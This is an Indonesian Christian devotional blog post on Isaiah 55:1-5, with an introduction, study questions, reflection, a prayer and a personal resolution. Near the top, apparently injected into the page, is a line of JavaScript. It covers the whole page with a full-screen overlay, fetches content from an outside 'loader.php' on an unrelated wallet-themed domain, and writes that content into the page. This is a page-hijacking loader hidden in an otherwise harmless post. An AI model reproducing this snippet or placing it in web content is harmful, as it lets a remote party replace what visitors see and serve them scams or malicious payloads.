TURUT SERTA DALAM KESELAMATAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Kamis, 03 Agustus 2023

Yesaya 55 : 1 – 5

Pengantar

Di tanah pembuangan, orang-orang Israel mengusahakan lahan atau tanah untuk menjadi mata pencaharian mereka. Ada juga di antara mereka yang bekerja di lingkungan kerajaan. Sekalipun mereka memiliki pekerjaan, namun hidup mereka tidak sejahtera sebab mereka tetap berada di bawah kuasa bangsa lain. Melalui bagian bacaan hari ini, nabi Yesaya menyampaikan kepada segenap bangsa Israel yang ada di tanah pembuangan untuk segera menyambut panggilan dari Allah. Kali ini, suara Allah melalui nabi Yesaya mengungkapkan bahwa ketika bangsa Israel hidup dalam kondisi yang berkekurangan, namun hidup di dalam panggilan Allah akan merasakan hidup untuk memakan yang baik dan menikmati yang paling lezat. Hal ini sejalan dengan kondisi kehidupan yang dialami oleh orang- orang Israel pada masa tersebut. Sekalipun mereka memiliki pekerjaan, namun tidak selamanya mereka mengingat Allah yang menjaga kehidupan mereka. Dengan kata lain, selama ini mereka menjadi sibuk dengan urusan pekerjaan sehari-hari.

Pemahaman

Ayat 1-3 : Apa yang mendasari nubuat ini?

Ayat 4-5 : Bagaimana cara Allah memanggil umat-Nya untuk turut serta dalam keselamatan?

Kebutuhan jasmani terpenuhi namun kebutuhan rohani merasa berkekurangan. Oleh karena itu, mereka tetap merasa jauh dari Allah sebab tanah pembuangan yang menjadi tempat hidup mereka saat ini begitu jauh dari Yerusalem, yaitu tempat Bait Allah. Bagi orang-orang Israel, jauh dari Bait Allah itu juga berarti jauh dari Allah. Maka, mereka selalu memiliki kerinduan untuk kembali ke Israel agar mereka bisa kembali mendekat dengan Bait Allah yang bagi orang-orang Israel adalah simbol kehadiran Allah. Mereka tidak sadar bahwa Allah tidak pernah jauh dari mereka. Namun di sisi lain, mereka sesungguhnya punya kerinduan untuk mendekat kepada Allah.

Dalam ayat 1-3, kita menjumpai pesan bahwa ada makanan yang cuma-cuma, anggur, dan susu, yang dapat dinikmati oleh banyak orang. Semua hal ini dilakukan oleh Allah untuk memanggil anak-Nya dan mengalami hidup dalam kecukupan, baik secara jasmani maupun secara rohani. Melalui nubuatan ini, semua umat dipanggil untuk mengingat kembali setiap kebaikan Tuhan yang sudah pernah terjadi di dalam kehidupan mereka. Dengan demikian, kerinduan untuk kembali mendekat kepada Bait Allah mampu direspons lewat tindakan nyata sejak saat itu sekalipun mereka masih ada di tanah pembuangan. Tanah pembuangan tidak menyurutkan semangat untuk mendekat kepada Allah.

Melalui ayat 4-5, kita dapat menyaksikan respons yang dikehendaki oleh Allah untuk dikerjakan oleh umat Israel pada saat tersebut. Mereka yang haus dan lapar dapat menyendengkan telinganya untuk mendengarkan Firman-Nya dan datang kepada- Nya. Sebab, hanya melalui Allah kita akan dimampukan untuk merasakan hidup yang dipenuhi oleh kecukupan. Percaya penuh kepada-Nya akan menolong setiap umat-Nya untuk dapat memiliki kekuatan janji dan rasa percaya akan rencana Tuhan yang tetap mengasihi dan akan membawa mereka kembali ke daerah asal mereka. Dengan demikian, setiap umat Allah akan merasakan semangat di dalam dirinya. Allah berjanji bahwa Ia tetap akan menyatakan kasih setia-Nya yang pernah terjadi kepada Daud. Tuhan mengikat janji-Nya dan memanggil setiap orang untuk turut serta dalam karya keselamatan yang sedang dikerjakan-Nya melalui bangsa Israel.

Refleksi                                                                 

Terkadang dalam kehidupan kita lebih suka mengejar pemenuhan kebutuhan jasmani daripada pemenuhan kebutuhan rohani. Padahal, keduanya adalah hal yang saling berkaitan satu dengan yang lainnya. Ketika Allah memanggil setiap umat-Nya melalui Yesaya, Allah memperlihatkan kebaikan-Nya dengan selalu mengundang kita untuk turut serta dalam keselamatan yang dikerjakan-Nya. Itu berarti, hidup kita semua sudah dijamin-Nya. Kita dijamin mengalami keselamatan serta kecukupan menjalani keseharian kita. Allah mengundang kita untuk mendengarkan Dia. Hal ini sekaligus menunjukkan bahwa Allah ingin memiliki hubungan yang sangat erat dengan kita. Kini, waktunya kita membalas semua kebaikan-Nya dengan hidup dekat dengan-Nya.

Tekadku

Tuhan yang penuh kasih, kami mensyukuri semua karya keselamatan yang Engkau hadirkan di tengah dunia ini. Ajarkanlah kami untuk menjadi pribadi yang setia untuk terus dekat dengan- Mu.

Tindakanku                                                           

Saya akan mendoakan diri saya dan orang-orang di sekitar saya agar kami semua selalu memiliki hubungan yang dekat dengan Tuhan.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *